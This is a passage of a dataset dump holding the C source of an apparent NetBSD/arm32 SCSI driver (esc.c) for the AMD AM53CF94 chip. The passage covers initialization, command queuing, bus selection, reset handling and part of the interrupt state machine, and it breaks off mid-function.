filename
stringlengths 3
9
| code
stringlengths 4
1.05M
|
---|---|
642900.c | /* $NetBSD: esc.c,v 1.4 1997/10/14 22:09:24 mark Exp $ */
/*
* Copyright (c) 1995 Scott Stevens
* Copyright (c) 1995 Daniel Widenfalk
* Copyright (c) 1994 Christian E. Hopps
* Copyright (c) 1990 The Regents of the University of California.
* All rights reserved.
*
* This code is derived from software contributed to Berkeley by
* Van Jacobson of Lawrence Berkeley Laboratory.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#)scsi.c 7.5 (Berkeley) 5/4/91
*/
/*
* AMD AM53CF94 scsi adaptor driver
*
* Functionally compatible with the FAS216
*
* Apart from a very small patch to set up control register 4
*/
/*
* Modified for NetBSD/arm32 by Scott Stevens
*/
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/device.h>
#include <sys/buf.h>
#include <sys/proc.h>
#include <dev/scsipi/scsi_all.h>
#include <dev/scsipi/scsipi_all.h>
#include <dev/scsipi/scsiconf.h>
#include <vm/vm.h>
#include <vm/vm_kern.h>
#include <vm/vm_page.h>
#include <machine/pmap.h>
#include <machine/cpu.h>
#include <machine/io.h>
#include <machine/irqhandler.h>
#include <machine/katelib.h>
#include <arm32/podulebus/podulebus.h>
#include <arm32/podulebus/escreg.h>
#include <arm32/podulebus/escvar.h>
/* Externs */
extern pt_entry_t *pmap_pte __P((pmap_t, vm_offset_t));
void escinitialize __P((struct esc_softc *));
void esc_minphys __P((struct buf *bp));
int esc_scsicmd __P((struct scsipi_xfer *xs));
void esc_donextcmd __P((struct esc_softc *dev, struct esc_pending *pendp));
void esc_scsidone __P((struct esc_softc *dev, struct scsipi_xfer *xs,
int stat));
void escintr __P((struct esc_softc *dev));
void esciwait __P((struct esc_softc *dev));
void escreset __P((struct esc_softc *dev, int how));
int escselect __P((struct esc_softc *dev, struct esc_pending *pendp,
unsigned char *cbuf, int clen,
unsigned char *buf, int len, int mode));
void escicmd __P((struct esc_softc *dev, struct esc_pending *pendp));
int escgo __P((struct esc_softc *dev, struct esc_pending *pendp));
/*
* Initialize these to make 'em patchable. Defaults to enable sync and discon.
*/
u_char esc_inhibit_sync[8] = { 0, 0, 0, 0, 0, 0, 0, 0 };
u_char esc_inhibit_disc[8] = { 0, 0, 0, 0, 0, 0, 0, 0 };
#define DEBUG
#ifdef DEBUG
#define QPRINTF(a) if (esc_debug > 1) printf a
int esc_debug = 2;
#else
#define QPRINTF
#endif
/*
* default minphys routine for esc based controllers
*/
void
esc_minphys(bp)
struct buf *bp;
{
/*
* No max transfer at this level.
*/
minphys(bp);
}
/*
* Initialize the nexus structs.
*/
void
esc_init_nexus(dev, nexus)
struct esc_softc *dev;
struct nexus *nexus;
{
bzero(nexus, sizeof(struct nexus));
nexus->state = ESC_NS_IDLE;
nexus->period = 200;
nexus->offset = 0;
nexus->syncper = 5;
nexus->syncoff = 0;
nexus->config3 = dev->sc_config3 & ~ESC_CFG3_FASTSCSI;
}
void
escinitialize(dev)
struct esc_softc *dev;
{
u_int *pte;
int i;
dev->sc_led_status = 0;
TAILQ_INIT(&dev->sc_xs_pending);
TAILQ_INIT(&dev->sc_xs_free);
/*
* Initialize the esc_pending structs and link them into the free list. We
* have to set vm_link_data.pages to 0 or the vm FIX won't work.
*/
for(i=0; i<MAXPENDING; i++) {
TAILQ_INSERT_TAIL(&dev->sc_xs_free, &dev->sc_xs_store[i],
link);
}
/*
* Calculate the correct clock conversion factor 2 <= factor <= 8, i.e. set
* the factor to clock_freq / 5 (int).
*/
if (dev->sc_clock_freq <= 10)
dev->sc_clock_conv_fact = 2;
if (dev->sc_clock_freq <= 40)
dev->sc_clock_conv_fact = 2+((dev->sc_clock_freq-10)/5);
else
panic("escinitialize: Clock frequence too high");
/* Setup and save the basic configuration registers */
dev->sc_config1 = (dev->sc_host_id & ESC_CFG1_BUS_ID_MASK);
dev->sc_config2 = ESC_CFG2_FEATURES_ENABLE;
dev->sc_config3 = (dev->sc_clock_freq > 25 ? ESC_CFG3_FASTCLK : 0);
/* Precalculate timeout value and clock period. */
/* Ekkk ... floating point in the kernel !!!! */
/* dev->sc_timeout_val = 1+dev->sc_timeout*dev->sc_clock_freq/
(7.682*dev->sc_clock_conv_fact);*/
dev->sc_timeout_val = 1+dev->sc_timeout*dev->sc_clock_freq/
((7682*dev->sc_clock_conv_fact)/1000);
dev->sc_clock_period = 1000/dev->sc_clock_freq;
escreset(dev, 1 | 2); /* Reset Chip and Bus */
dev->sc_units_disconnected = 0;
dev->sc_msg_in_len = 0;
dev->sc_msg_out_len = 0;
dev->sc_flags = 0;
for(i=0; i<8; i++)
esc_init_nexus(dev, &dev->sc_nexus[i]);
/*
* Setup bump buffer.
*/
dev->sc_bump_va = (u_char *)kmem_alloc(kernel_map, dev->sc_bump_sz);
dev->sc_bump_pa = pmap_extract(kernel_pmap, (vm_offset_t)dev->sc_bump_va);
/*
* Setup pages to noncachable, that way we don't have to flush the cache
* every time we need "bumped" transfer.
*/
pte = pmap_pte(kernel_pmap, (vm_offset_t)dev->sc_bump_va);
*pte &= ~PT_C;
cpu_tlb_flushD();
cpu_cache_purgeD_rng((vm_offset_t)dev->sc_bump_va, NBPG);
printf(" dmabuf V0x%08x P0x%08x", (u_int)dev->sc_bump_va, (u_int)dev->sc_bump_pa);
}
/*
* used by specific esc controller
*/
int
esc_scsicmd(struct scsipi_xfer *xs)
{
struct esc_softc *dev;
struct scsipi_link *slp;
struct esc_pending *pendp;
int flags, s, target;
slp = xs->sc_link;
dev = slp->adapter_softc;
flags = xs->flags;
target = slp->scsipi_scsi.target;
if (flags & SCSI_DATA_UIO)
panic("esc: scsi data uio requested");
if ((flags & SCSI_POLL) && (dev->sc_flags & ESC_ACTIVE))
panic("esc_scsicmd: busy");
/* Get hold of a esc_pending block. */
s = splbio();
pendp = dev->sc_xs_free.tqh_first;
if (pendp == NULL) {
splx(s);
return(TRY_AGAIN_LATER);
}
TAILQ_REMOVE(&dev->sc_xs_free, pendp, link);
pendp->xs = xs;
splx(s);
/* If the chip if busy OR the unit is busy, we have to wait for out turn. */
if ((dev->sc_flags & ESC_ACTIVE) ||
(dev->sc_nexus[target].flags & ESC_NF_UNIT_BUSY)) {
s = splbio();
TAILQ_INSERT_TAIL(&dev->sc_xs_pending, pendp, link);
splx(s);
} else
esc_donextcmd(dev, pendp);
return((flags & SCSI_POLL) ? COMPLETE : SUCCESSFULLY_QUEUED);
}
/*
* Actually select the unit, whereby the whole scsi-process is started.
*/
void
esc_donextcmd(dev, pendp)
struct esc_softc *dev;
struct esc_pending *pendp;
{
int s;
/*
* Special case for scsi unit reset. I think this is waterproof. We first
* select the unit during splbio. We then cycle through the generated
* interrupts until the interrupt routine signals that the unit has
* acknowledged the reset. After that we have to wait a reset to select
* delay before anything else can happend.
*/
if (pendp->xs->flags & SCSI_RESET) {
struct nexus *nexus;
s = splbio();
while(!escselect(dev, pendp, 0, 0, 0, 0, ESC_SELECT_K)) {
splx(s);
delay(10);
s = splbio();
}
nexus = dev->sc_cur_nexus;
while(nexus->flags & ESC_NF_UNIT_BUSY) {
esciwait(dev);
escintr(dev);
}
nexus->flags |= ESC_NF_UNIT_BUSY;
splx(s);
escreset(dev, 0);
s = splbio();
nexus->flags &= ~ESC_NF_UNIT_BUSY;
splx(s);
}
/*
* If we are polling, go to splbio and perform the command, else we poke
* the scsi-bus via escgo to get the interrupt machine going.
*/
if (pendp->xs->flags & SCSI_POLL) {
s = splbio();
escicmd(dev, pendp);
TAILQ_INSERT_TAIL(&dev->sc_xs_free, pendp, link);
splx(s);
} else {
escgo(dev, pendp);
return;
}
}
void
esc_scsidone(dev, xs, stat)
struct esc_softc *dev;
struct scsipi_xfer *xs;
int stat;
{
struct esc_pending *pendp;
int s;
xs->status = stat;
if (stat == 0)
xs->resid = 0;
else {
switch(stat) {
case SCSI_CHECK:
/* If we get here we have valid sense data. Faults during
* sense is handeled elsewhere and will generate a
* XS_DRIVER_STUFFUP. */
xs->error = XS_SENSE;
break;
case SCSI_BUSY:
xs->error = XS_BUSY;
break;
case -1:
xs->error = XS_DRIVER_STUFFUP;
QPRINTF(("esc_scsicmd() bad %x\n", stat));
break;
default:
xs->error = XS_TIMEOUT;
break;
}
}
xs->flags |= ITSDONE;
/* Steal the next command from the queue so that one unit can't hog the bus. */
s = splbio();
pendp = dev->sc_xs_pending.tqh_first;
while(pendp) {
if (!(dev->sc_nexus[pendp->xs->sc_link->scsipi_scsi.target].flags &
ESC_NF_UNIT_BUSY))
break;
pendp = pendp->link.tqe_next;
}
if (pendp != NULL) {
TAILQ_REMOVE(&dev->sc_xs_pending, pendp, link);
}
splx(s);
scsipi_done(xs);
if (pendp)
esc_donextcmd(dev, pendp);
}
/*
* There are two kinds of reset:
* 1) CHIP-bus reset. This also implies a SCSI-bus reset.
* 2) SCSI-bus reset.
* After the appropriate resets have been performed we wait a reset to select
* delay time.
*/
void
escreset(dev, how)
struct esc_softc *dev;
int how;
{
esc_regmap_p rp;
int i, s;
rp = dev->sc_esc;
if (how & 1) {
for(i=0; i<8; i++)
esc_init_nexus(dev, &dev->sc_nexus[i]);
*rp->esc_command = ESC_CMD_RESET_CHIP;
delay(1);
*rp->esc_command = ESC_CMD_NOP;
*rp->esc_config1 = dev->sc_config1;
*rp->esc_config2 = dev->sc_config2;
*rp->esc_config3 = dev->sc_config3;
*rp->esc_config4 = dev->sc_config4;
*rp->esc_timeout = dev->sc_timeout_val;
*rp->esc_clkconv = dev->sc_clock_conv_fact &
ESC_CLOCK_CONVERSION_MASK;
}
if (how & 2) {
for(i=0; i<8; i++)
esc_init_nexus(dev, &dev->sc_nexus[i]);
s = splbio();
*rp->esc_command = ESC_CMD_RESET_SCSI_BUS;
delay(100);
/* Skip interrupt generated by RESET_SCSI_BUS */
while(*rp->esc_status & ESC_STAT_INTERRUPT_PENDING) {
dev->sc_status = *rp->esc_status;
dev->sc_interrupt = *rp->esc_interrupt;
delay(100);
}
dev->sc_status = *rp->esc_status;
dev->sc_interrupt = *rp->esc_interrupt;
splx(s);
}
if (dev->sc_config_flags & ESC_SLOW_START)
delay(4*250000); /* RESET to SELECT DELAY*4 for slow devices */
else
delay(250000); /* RESET to SELECT DELAY */
}
/*
* Save active data pointers to the nexus block currently active.
*/
void
esc_save_pointers(dev)
struct esc_softc *dev;
{
struct nexus *nx;
nx = dev->sc_cur_nexus;
if (nx) {
nx->cur_link = dev->sc_cur_link;
nx->max_link = dev->sc_max_link;
nx->buf = dev->sc_buf;
nx->len = dev->sc_len;
nx->dma_len = dev->sc_dma_len;
nx->dma_buf = dev->sc_dma_buf;
nx->dma_blk_flg = dev->sc_dma_blk_flg;
nx->dma_blk_len = dev->sc_dma_blk_len;
nx->dma_blk_ptr = dev->sc_dma_blk_ptr;
}
}
/*
* Restore data pointers from the currently active nexus block.
*/
void
esc_restore_pointers(dev)
struct esc_softc *dev;
{
struct nexus *nx;
nx = dev->sc_cur_nexus;
if (nx) {
dev->sc_cur_link = nx->cur_link;
dev->sc_max_link = nx->max_link;
dev->sc_buf = nx->buf;
dev->sc_len = nx->len;
dev->sc_dma_len = nx->dma_len;
dev->sc_dma_buf = nx->dma_buf;
dev->sc_dma_blk_flg = nx->dma_blk_flg;
dev->sc_dma_blk_len = nx->dma_blk_len;
dev->sc_dma_blk_ptr = nx->dma_blk_ptr;
dev->sc_chain = nx->dma;
dev->sc_unit = (nx->lun_unit & 0x0F);
dev->sc_lun = (nx->lun_unit & 0xF0) >> 4;
}
}
/*
* esciwait is used during interrupt and polled IO to wait for an event from
* the FAS chip. This function MUST NOT BE CALLED without interrupt disabled.
*/
void
esciwait(dev)
struct esc_softc *dev;
{
esc_regmap_p rp;
/*
* If ESC_DONT_WAIT is set, we have already grabbed the interrupt info
* elsewhere. So we don't have to wait for it.
*/
if (dev->sc_flags & ESC_DONT_WAIT) {
dev->sc_flags &= ~ESC_DONT_WAIT;
return;
}
rp = dev->sc_esc;
/* Wait for FAS chip to signal an interrupt. */
while(!(*rp->esc_status & ESC_STAT_INTERRUPT_PENDING));
/* delay(1);*/
/* Grab interrupt info from chip. */
dev->sc_status = *rp->esc_status;
dev->sc_interrupt = *rp->esc_interrupt;
if (dev->sc_interrupt & ESC_INT_RESELECTED) {
dev->sc_resel[0] = *rp->esc_fifo;
dev->sc_resel[1] = *rp->esc_fifo;
}
}
#if 0
/*
* Transfer info to/from device. esc_ixfer uses polled IO+esciwait so the
* rules that apply to esciwait also applies here.
*/
void
esc_ixfer(dev)
struct esc_softc *dev;
{
esc_regmap_p rp;
u_char *buf;
int len, mode, phase;
rp = dev->sc_esc;
buf = dev->sc_buf;
len = dev->sc_len;
/*
* Decode the scsi phase to determine whether we are reading or writing.
* mode == 1 => READ, mode == 0 => WRITE
*/
phase = dev->sc_status & ESC_STAT_PHASE_MASK;
mode = (phase == ESC_PHASE_DATA_IN);
while(len && ((dev->sc_status & ESC_STAT_PHASE_MASK) == phase))
if (mode) {
*rp->esc_command = ESC_CMD_TRANSFER_INFO;
esciwait(dev);
*buf++ = *rp->esc_fifo;
len--;
} else {
len--;
*rp->esc_fifo = *buf++;
*rp->esc_command = ESC_CMD_TRANSFER_INFO;
esciwait(dev);
}
/* Update buffer pointers to reflect the sent/recieved data. */
dev->sc_buf = buf;
dev->sc_len = len;
/*
* Since the last esciwait will be a phase-change, we can't wait for it
* again later, so we have to signal that.
*/
dev->sc_flags |= ESC_DONT_WAIT;
}
#else
/*
* Transfer info to/from device. esc_ixfer uses polled IO+esciwait so the
* rules that apply to esciwait also applies here.
*/
void
esc_ixfer(dev)
struct esc_softc *dev;
{
esc_regmap_p rp;
vu_char *esc_status;
vu_char *esc_command;
vu_char *esc_interrupt;
vu_char *esc_fifo;
u_char *buf;
int len, mode, phase;
rp = dev->sc_esc;
buf = dev->sc_buf;
len = dev->sc_len;
/* Use discrete variables for better optimisation */
esc_status = rp->esc_status;
esc_command = rp->esc_command;
esc_interrupt = rp->esc_interrupt;
esc_fifo = rp->esc_fifo;
/*
* Decode the scsi phase to determine whether we are reading or writing.
* mode == 1 => READ, mode == 0 => WRITE
*/
phase = dev->sc_status & ESC_STAT_PHASE_MASK;
mode = (phase == ESC_PHASE_DATA_IN);
if (mode) {
while(len && ((dev->sc_status & ESC_STAT_PHASE_MASK) == phase)) {
*esc_command = ESC_CMD_TRANSFER_INFO;
/* Wait for FAS chip to signal an interrupt. */
while(!(*esc_status & ESC_STAT_INTERRUPT_PENDING));
/* delay(1);*/
/* Grab interrupt info from chip. */
dev->sc_status = *esc_status;
dev->sc_interrupt = *esc_interrupt;
*buf++ = *esc_fifo;
len--;
}
} else {
while(len && ((dev->sc_status & ESC_STAT_PHASE_MASK) == phase)) {
len--;
*esc_fifo = *buf++;
*esc_command = ESC_CMD_TRANSFER_INFO;
/* Wait for FAS chip to signal an interrupt. */
while(!(*esc_status & ESC_STAT_INTERRUPT_PENDING));
/* delay(1);*/
/* Grab interrupt info from chip. */
dev->sc_status = *esc_status;
dev->sc_interrupt = *esc_interrupt;
}
}
/* Update buffer pointers to reflect the sent/recieved data. */
dev->sc_buf = buf;
dev->sc_len = len;
/*
* Since the last esciwait will be a phase-change, we can't wait for it
* again later, so we have to signal that.
*/
dev->sc_flags |= ESC_DONT_WAIT;
}
#endif
/*
* Build a Synchronous Data Transfer Request message
*/
void
esc_build_sdtrm(dev, period, offset)
struct esc_softc *dev;
int period;
int offset;
{
dev->sc_msg_out[0] = 0x01;
dev->sc_msg_out[1] = 0x03;
dev->sc_msg_out[2] = 0x01;
dev->sc_msg_out[3] = period/4;
dev->sc_msg_out[4] = offset;
dev->sc_msg_out_len= 5;
}
/*
* Arbitate the scsi bus and select the unit
*/
int
esc_select_unit(dev, target)
struct esc_softc *dev;
short target;
{
esc_regmap_p rp;
struct nexus *nexus;
int s, retcode, i;
u_char cmd;
s = splbio(); /* Do this at splbio so that we won't be disturbed. */
retcode = 0;
nexus = &dev->sc_nexus[target];
/*
* Check if the chip is busy. If not the we mark it as so and hope that nobody
* reselects us until we have grabbed the bus.
*/
if (!(dev->sc_flags & ESC_ACTIVE) && !dev->sc_sel_nexus) {
dev->sc_flags |= ESC_ACTIVE;
rp = dev->sc_esc;
*rp->esc_syncper = nexus->syncper;
*rp->esc_syncoff = nexus->syncoff;
*rp->esc_config3 = nexus->config3;
*rp->esc_config1 = dev->sc_config1;
*rp->esc_timeout = dev->sc_timeout_val;
*rp->esc_dest_id = target;
/* If nobody has stolen the bus, we can send a select command to the chip. */
if (!(*rp->esc_status & ESC_STAT_INTERRUPT_PENDING)) {
*rp->esc_fifo = nexus->ID;
if ((nexus->flags & (ESC_NF_DO_SDTR | ESC_NF_RESET))
|| (dev->sc_msg_out_len != 0))
cmd = ESC_CMD_SEL_ATN_STOP;
else {
for(i=0; i<nexus->clen; i++)
*rp->esc_fifo = nexus->cbuf[i];
cmd = ESC_CMD_SEL_ATN;
}
dev->sc_sel_nexus = nexus;
*rp->esc_command = cmd;
retcode = 1;
nexus->flags &= ~ESC_NF_RETRY_SELECT;
} else
nexus->flags |= ESC_NF_RETRY_SELECT;
} else
nexus->flags |= ESC_NF_RETRY_SELECT;
splx(s);
return(retcode);
}
/*
* Grab the nexus if available else return 0.
*/
struct nexus *
esc_arbitate_target(dev, target)
struct esc_softc *dev;
int target;
{
struct nexus *nexus;
int s;
/*
* This is realy simple. Raise interrupt level to splbio. Grab the nexus and
* leave.
*/
nexus = &dev->sc_nexus[target];
s = splbio();
if (nexus->flags & ESC_NF_UNIT_BUSY)
nexus = 0;
else
nexus->flags |= ESC_NF_UNIT_BUSY;
splx(s);
return(nexus);
}
/*
* Setup a nexus for use. Initializes command, buffer pointers and dma chain.
*/
void
esc_setup_nexus(dev, nexus, pendp, cbuf, clen, buf, len, mode)
struct esc_softc *dev;
struct nexus *nexus;
struct esc_pending *pendp;
unsigned char *cbuf;
int clen;
unsigned char *buf;
int len;
int mode;
{
int sync, target, lun;
target = pendp->xs->sc_link->scsipi_scsi.target;
lun = pendp->xs->sc_link->scsipi_scsi.lun;
/*
* Adopt mode to reflect the config flags.
* If we can't use DMA we can't use synch transfer. Also check the
* esc_inhibit_xxx[target] flags.
*/
if ((dev->sc_config_flags & (ESC_NO_SYNCH | ESC_NO_DMA)) ||
esc_inhibit_sync[(int)target])
mode &= ~ESC_SELECT_S;
if ((dev->sc_config_flags & ESC_NO_RESELECT) ||
esc_inhibit_disc[(int)target])
mode &= ~ESC_SELECT_R;
nexus->xs = pendp->xs;
/* Setup the nexus struct. */
nexus->ID = ((mode & ESC_SELECT_R) ? 0xC0 : 0x80) | lun;
nexus->clen = clen;
bcopy(cbuf, nexus->cbuf, nexus->clen);
nexus->cbuf[1] |= lun << 5; /* Fix the lun bits */
nexus->cur_link = 0;
nexus->dma_len = 0;
nexus->dma_buf = 0;
nexus->dma_blk_len = 0;
nexus->dma_blk_ptr = 0;
nexus->len = len;
nexus->buf = buf;
nexus->lun_unit = (lun << 4) | target;
nexus->state = ESC_NS_SELECTED;
/* We must keep these flags. All else must be zero. */
nexus->flags &= ESC_NF_UNIT_BUSY | ESC_NF_REQUEST_SENSE
| ESC_NF_SYNC_TESTED | ESC_NF_SELECT_ME;
/*
* If we are requesting sense, reflect that in the flags so that we can handle
* error in sense data correctly
*/
if (nexus->flags & ESC_NF_REQUEST_SENSE) {
nexus->flags &= ~ESC_NF_REQUEST_SENSE;
nexus->flags |= ESC_NF_SENSING;
}
if (mode & ESC_SELECT_I)
nexus->flags |= ESC_NF_IMMEDIATE;
if (mode & ESC_SELECT_K)
nexus->flags |= ESC_NF_RESET;
sync = ((mode & ESC_SELECT_S) ? 1 : 0);
/* We can't use sync during polled IO. */
if (sync && (mode & ESC_SELECT_I))
sync = 0;
if (!sync &&
((nexus->flags & ESC_NF_SYNC_TESTED) && (nexus->offset != 0))) {
/*
* If the scsi unit is set to synch transfer and we don't want
* that, we have to renegotiate.
*/
nexus->flags |= ESC_NF_DO_SDTR;
nexus->period = 200;
nexus->offset = 0;
} else if (sync && !(nexus->flags & ESC_NF_SYNC_TESTED)) {
/*
* If the scsi unit is not set to synch transfer and we want
* that, we have to negotiate. This should realy base the
* period on the clock frequence rather than just check if
* >25Mhz
*/
nexus->flags |= ESC_NF_DO_SDTR;
nexus->period = ((dev->sc_clock_freq>25) ? 100 : 200);
nexus->offset = 8;
/* If the user has a long cable, we want to limit the period */
if ((nexus->period == 100) &&
(dev->sc_config_flags & ESC_SLOW_CABLE))
nexus->period = 200;
}
/*
* Fake a dma-block for polled IO. This way we can use the same code to handle
* reselection. Much nicer this way.
*/
if ((mode & ESC_SELECT_I) || (dev->sc_config_flags & ESC_NO_DMA)) {
nexus->dma[0].ptr = (vm_offset_t)buf;
nexus->dma[0].len = len;
nexus->dma[0].flg = ESC_CHAIN_PRG;
nexus->max_link = 1;
} else {
nexus->max_link = dev->sc_build_dma_chain(dev, nexus->dma,
buf, len);
}
/* Flush the caches. */
if (len && !(mode & ESC_SELECT_I))
cpu_cache_purgeD_rng((vm_offset_t)buf, len);
}
int
escselect(dev, pendp, cbuf, clen, buf, len, mode)
struct esc_softc *dev;
struct esc_pending *pendp;
unsigned char *cbuf;
int clen;
unsigned char *buf;
int len;
int mode;
{
struct nexus *nexus;
/* Get the nexus struct. */
nexus = esc_arbitate_target(dev, pendp->xs->sc_link->scsipi_scsi.target);
if (nexus == NULL)
return(0);
/* Setup the nexus struct. */
esc_setup_nexus(dev, nexus, pendp, cbuf, clen, buf, len, mode);
/* Post it to the interrupt machine. */
esc_select_unit(dev, pendp->xs->sc_link->scsipi_scsi.target);
return(1);
}
void
esc_request_sense(dev, nexus)
struct esc_softc *dev;
struct nexus *nexus;
{
struct scsipi_xfer *xs;
struct esc_pending pend;
struct scsipi_sense rqs;
int mode;
xs = nexus->xs;
/* Fake a esc_pending structure. */
pend.xs = xs;
rqs.opcode = REQUEST_SENSE;
rqs.byte2 = xs->sc_link->scsipi_scsi.lun << 5;
#ifdef not_yet
rqs.length=xs->req_sense_length?
xs->req_sense_length:sizeof(xs->sense.scsi_sense);
#else
rqs.length=sizeof(xs->sense.scsi_sense);
#endif
rqs.unused[0] = rqs.unused[1] = rqs.control = 0;
/*
* If we are requesting sense during polled IO, we have to sense with polled
* IO too.
*/
mode = ESC_SELECT_RS;
if (nexus->flags & ESC_NF_IMMEDIATE)
mode = ESC_SELECT_I;
/* Setup the nexus struct for sensing. */
esc_setup_nexus(dev, nexus, &pend, (char *)&rqs, sizeof(rqs),
(char *)&xs->sense.scsi_sense, rqs.length, mode);
/* Post it to the interrupt machine. */
esc_select_unit(dev, xs->sc_link->scsipi_scsi.target);
}
int
escgo(dev, pendp)
struct esc_softc *dev;
struct esc_pending *pendp;
{
int s;
char *buf;
buf = pendp->xs->data;
if (escselect(dev, pendp, (char *)pendp->xs->cmd, pendp->xs->cmdlen,
buf, pendp->xs->datalen, ESC_SELECT_RS)) {
/*
* We got the command going so the esc_pending struct is now
* free to reuse.
*/
s = splbio();
TAILQ_INSERT_TAIL(&dev->sc_xs_free, pendp, link);
splx(s);
} else {
/*
* We couldn't make the command fly so we have to wait. The
* struct MUST be inserted at the head to keep the order of
* the commands.
*/
s = splbio();
TAILQ_INSERT_HEAD(&dev->sc_xs_pending, pendp, link);
splx(s);
}
return(0);
}
/*
* Part one of the interrupt machine. Error checks and reselection test.
* We don't know if we have an active nexus here!
*/
int
esc_pretests(dev, rp)
struct esc_softc *dev;
esc_regmap_p rp;
{
struct nexus *nexus;
int i, s;
if (dev->sc_interrupt & ESC_INT_SCSI_RESET_DETECTED) {
/*
* Cleanup and notify user. Lets hope that this is all we
* have to do
*/
for(i=0; i<8; i++) {
if (dev->sc_nexus[i].xs)
esc_scsidone(dev, dev->sc_nexus[i].xs, -2);
esc_init_nexus(dev, &dev->sc_nexus[i]);
}
printf("escintr: SCSI-RESET detected!");
return(-1);
}
if (dev->sc_interrupt & ESC_INT_ILLEGAL_COMMAND) {
/* Something went terrible wrong! Dump some data and panic! */
printf("FIFO:");
while(*rp->esc_fifo_flags & ESC_FIFO_COUNT_MASK)
printf(" %x", *rp->esc_fifo);
printf("\n");
printf("CMD: %x\n", *rp->esc_command);
panic("escintr: ILLEGAL COMMAND!");
}
if (dev->sc_interrupt & ESC_INT_RESELECTED) {
/* We were reselected. Set the chip as busy */
s = splbio();
dev->sc_flags |= ESC_ACTIVE;
if (dev->sc_sel_nexus) {
dev->sc_sel_nexus->flags |= ESC_NF_SELECT_ME;
dev->sc_sel_nexus = 0;
}
splx(s);
if (dev->sc_units_disconnected) {
/* Find out who reselected us. */
dev->sc_resel[0] &= ~(1<<dev->sc_host_id);
for(i=0; i<8; i++)
if (dev->sc_resel[0] & (1<<i))
break;
if (i == 8)
panic("Illegal reselection!");
if (dev->sc_nexus[i].state == ESC_NS_DISCONNECTED) {
/*
* This unit had disconnected, so we reconnect
* it.
*/
dev->sc_cur_nexus = &dev->sc_nexus[i];
nexus = dev->sc_cur_nexus;
*rp->esc_syncper = nexus->syncper;
*rp->esc_syncoff = nexus->syncoff;
*rp->esc_config3 = nexus->config3;
*rp->esc_dest_id = i & 7;
dev->sc_units_disconnected--;
dev->sc_msg_in_len= 0;
/* Restore active pointers. */
esc_restore_pointers(dev);
nexus->state = ESC_NS_RESELECTED;
*rp->esc_command = ESC_CMD_MESSAGE_ACCEPTED;
return(1);
}
}
/* Somehow we got an illegal reselection. Dump and panic. */
printf("escintr: resel[0] %x resel[1] %x disconnected %d\n",
dev->sc_resel[0], dev->sc_resel[1],
dev->sc_units_disconnected);
panic("escintr: Unexpected reselection!");
}
return(0);
}
/*
* Part two of the interrupt machine. Handle disconnection and post command
* processing. We know that we have an active nexus here.
*/
int
esc_midaction(dev, rp, nexus)
struct esc_softc *dev;
esc_regmap_p rp;
struct nexus *nexus;
{
int i, left, len, s;
u_char status, msg;
if (dev->sc_interrupt & ESC_INT_DISCONNECT) {
s = splbio();
dev->sc_cur_nexus = 0;
/* Mark chip as busy and clean up the chip FIFO. */
dev->sc_flags &= ~ESC_ACTIVE;
*rp->esc_command = ESC_CMD_FLUSH_FIFO;
/* Let the nexus state reflect what we have to do. */
switch(nexus->state) {
case ESC_NS_SELECTED:
dev->sc_sel_nexus = 0;
nexus->flags &= ~ESC_NF_SELECT_ME;
/*
* We were trying to select the unit. Probably no unit
* at this ID.
*/
nexus->xs->resid = dev->sc_len;
nexus->status = -2;
nexus->flags &= ~ESC_NF_UNIT_BUSY;
nexus->state = ESC_NS_FINISHED;
break;
case ESC_NS_SENSE:
/*
* Oops! We have to request sense data from this unit.
* Do so.
*/
dev->sc_led(dev, 0);
nexus->flags |= ESC_NF_REQUEST_SENSE;
esc_request_sense(dev, nexus);
break;
case ESC_NS_DONE:
/* All done. */
nexus->xs->resid = dev->sc_len;
nexus->flags &= ~ESC_NF_UNIT_BUSY;
nexus->state = ESC_NS_FINISHED;
dev->sc_led(dev, 0);
break;
case ESC_NS_DISCONNECTING:
/*
* We have recieved a DISCONNECT message, so we are
* doing a normal disconnection.
*/
nexus->state = ESC_NS_DISCONNECTED;
dev->sc_units_disconnected++;
break;
case ESC_NS_RESET:
/*
* We were reseting this SCSI-unit. Clean up the
* nexus struct.
*/
dev->sc_led(dev, 0);
esc_init_nexus(dev, nexus);
break;
default:
/*
* Unexpected disconnection! Cleanup and exit. This
* shouldn't cause any problems.
*/
printf("escintr: Unexpected disconnection\n");
printf("escintr: u %x s %d p %d f %x c %x\n",
nexus->lun_unit, nexus->state,
dev->sc_status & ESC_STAT_PHASE_MASK,
nexus->flags, nexus->cbuf[0]);
nexus->xs->resid = dev->sc_len;
nexus->flags &= ~ESC_NF_UNIT_BUSY;
nexus->state = ESC_NS_FINISHED;
nexus->status = -3;
dev->sc_led(dev, 0);
break;
}
/*
* If we have disconnected units, we MUST enable reselection
* within 250ms.
*/
if (dev->sc_units_disconnected &&
!(dev->sc_flags & ESC_ACTIVE))
*rp->esc_command = ESC_CMD_ENABLE_RESEL;
splx(s);
/* Select the first pre-initialized nexus we find. */
for(i=0; i<8; i++)
if (dev->sc_nexus[i].flags & (ESC_NF_SELECT_ME | ESC_NF_RETRY_SELECT))
